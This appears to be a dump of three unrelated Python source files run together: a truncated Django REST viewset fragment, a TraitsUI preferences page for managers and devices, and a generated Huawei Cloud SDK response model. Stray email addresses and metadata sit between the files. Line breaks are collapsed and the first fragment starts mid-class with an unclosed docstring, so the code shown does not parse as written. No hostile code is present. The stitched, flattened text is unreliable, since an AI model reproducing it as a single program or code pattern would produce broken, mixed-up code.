MultimediaHandler(viewsets.ModelViewSet): queryset = MulUserModel.objects.all() serializer_class = UserAvatarSerializer permission_classes = (permissions.IsAuthenticated,) parser_classes = (MultiPartParser, FormParser,) @get_user_token #@get_multimedia #def create_img(self, request, pk=None): def create_img(self, obj): print("l") obj.temp_file = self.request.FILES.get('image') print("obj") print(obj) """ class MultimediaUser(viewsets.ModelViewSet): queryset = MulUserModel.objects.all() serializer_class = MulUserSerializer permission_classes = (permissions.IsAuthenticated,) @get_user_token #@get_multimedia def create_post(self, request, pk=None): print("l") class MultimediaCategory(viewsets.ModelViewSet): queryset = MulCatModel.objects.all() serializer_class = MulCatSerializer permission_classes = (permissions.IsAuthenticated,) def perform_create(self, serializer): serializer.save() class MultimediaSubcategory(viewsets.ModelViewSet): queryset = MulSubCModel.objects.all() serializer_class = MulSubCSerializer permission_classes = (permissions.IsAuthenticated,) def perform_create(self, serializer): serializer.save() class MultimediaPost(viewsets.ModelViewSet): queryset = MulPostModel.objects.all() serializer_class = MulPostSerializer permission_classes = (permissions.IsAuthenticated,) def perform_create(self, serializer): serializer.save()

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giovanniyatze@gmail.com

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#=============================================================================== # Copyright 2011 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #=============================================================================== #============= enthought library imports ======================= from traits.api import HasTraits, Str, Bool, Float, List, on_trait_change, \ Range, Instance from traitsui.api import View, Item, VGroup, TableEditor, Group, HGroup from apptools.preferences.ui.api import PreferencesPage from traitsui.table_column import ObjectColumn from traitsui.extras.checkbox_column import CheckboxColumn #============= standard library imports ======================== #============= local library imports ========================== from src.helpers.parsers.initialization_parser import InitializationParser class CItem(HasTraits): enabled = Bool name = Str class ManagerPreferencesPage(PreferencesPage): ''' abstract class. should not be used directly ensure subclass sets plugin_name ''' devices = List(transient=True) managers = List(transient=True) plugin_name = None open_on_startup = Bool enable_close_after = Bool close_after = Range(0, 60, 60) width = Float(-1) height = Float(0.85) x = Float(10) y = Float(20) parser = Instance(InitializationParser, (), transient=True) @on_trait_change('managers:enabled') def _managers_changed(self, obj, name, old, new): if new: self.parser.enable_manager(obj.name, self.plugin_name) else: self.parser.disable_manager(obj.name, self.plugin_name) @on_trait_change('devices:enabled') def _devices_changed(self, obj, name, old, new): if new: self.parser.enable_device(obj.name, self.plugin_name) else: self.parser.disable_device(obj.name, self.plugin_name) def _managers_default(self): r = [] # get the plugin this manager belongs to plugin = self.parser.get_plugin(self.plugin_name) mans = self.parser.get_managers(plugin, element=True, all=True) if mans is not None: r = [CItem(enabled=True if m.get('enabled').lower() == 'true' else False, name=m.text.strip() ) for m in mans] return r def _devices_default(self): r = [] # get the plugin this manager belongs to plugin = self.parser.get_plugin(self.plugin_name) devs = self.parser.get_devices(plugin, element=True, all=True) if devs is not None: r = [CItem(enabled=True if d.get('enabled').lower() == 'true' else False, name=d.text.strip() ) for d in devs] return r def get_additional_groups(self): return [] def get_general_group(self): window_grp = Group('width', 'height', 'x', 'y') return Group(Item('open_on_startup'), HGroup( Item('close_after', enabled_when='enable_close_after'), Item('enable_close_after', show_label=False) ), window_grp ) #============= views =================================== def traits_view(self): ''' ''' cols = [CheckboxColumn(name='enabled', ), ObjectColumn(name='name', editable=False) ] table_editor = TableEditor(columns=cols) devices_group = VGroup(Item('devices', show_label=False, editor=table_editor, height=400 ), label='Devices' ) manager_group = VGroup(Item('managers', show_label=False, editor=table_editor, height=400 ), label='Managers' ) grp = Group( manager_group, devices_group, layout='tabbed') ggrp = self.get_general_group() if ggrp is not None: ggrp.label = 'General' grp.content.insert(0, ggrp) for ag in self.get_additional_groups(): grp.content.append(ag) v = View( grp ) return v #============= EOF ==============================================

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4,606

py

# coding: utf-8 import re import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class L7rulesInStatusResp: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'type': 'str', 'id': 'str', 'provisioning_status': 'str' } attribute_map = { 'type': 'type', 'id': 'id', 'provisioning_status': 'provisioning_status' } def __init__(self, type=None, id=None, provisioning_status=None): """L7rulesInStatusResp - a model defined in huaweicloud sdk""" self._type = None self._id = None self._provisioning_status = None self.discriminator = None self.type = type self.id = id self.provisioning_status = provisioning_status @property def type(self): """Gets the type of this L7rulesInStatusResp. 转发规则的匹配内容。PATH：匹配请求中的路径；HOST_NAME：匹配请求中的域名 :return: The type of this L7rulesInStatusResp. :rtype: str """ return self._type @type.setter def type(self, type): """Sets the type of this L7rulesInStatusResp. 转发规则的匹配内容。PATH：匹配请求中的路径；HOST_NAME：匹配请求中的域名 :param type: The type of this L7rulesInStatusResp. :type: str """ self._type = type @property def id(self): """Gets the id of this L7rulesInStatusResp. 转发规则ID :return: The id of this L7rulesInStatusResp. :rtype: str """ return self._id @id.setter def id(self, id): """Sets the id of this L7rulesInStatusResp. 转发规则ID :param id: The id of this L7rulesInStatusResp. :type: str """ self._id = id @property def provisioning_status(self): """Gets the provisioning_status of this L7rulesInStatusResp. 转发规则的配置状态；该字段为预留字段，暂未启用。默认为ACTIVE。 :return: The provisioning_status of this L7rulesInStatusResp. :rtype: str """ return self._provisioning_status @provisioning_status.setter def provisioning_status(self, provisioning_status): """Sets the provisioning_status of this L7rulesInStatusResp. 转发规则的配置状态；该字段为预留字段，暂未启用。默认为ACTIVE。 :param provisioning_status: The provisioning_status of this L7rulesInStatusResp. :type: str """ self._provisioning_status = provisioning_status def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, L7rulesInStatusResp): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

[ "hwcloudsdk@huawei.com" ]

hwcloudsdk@huawei.com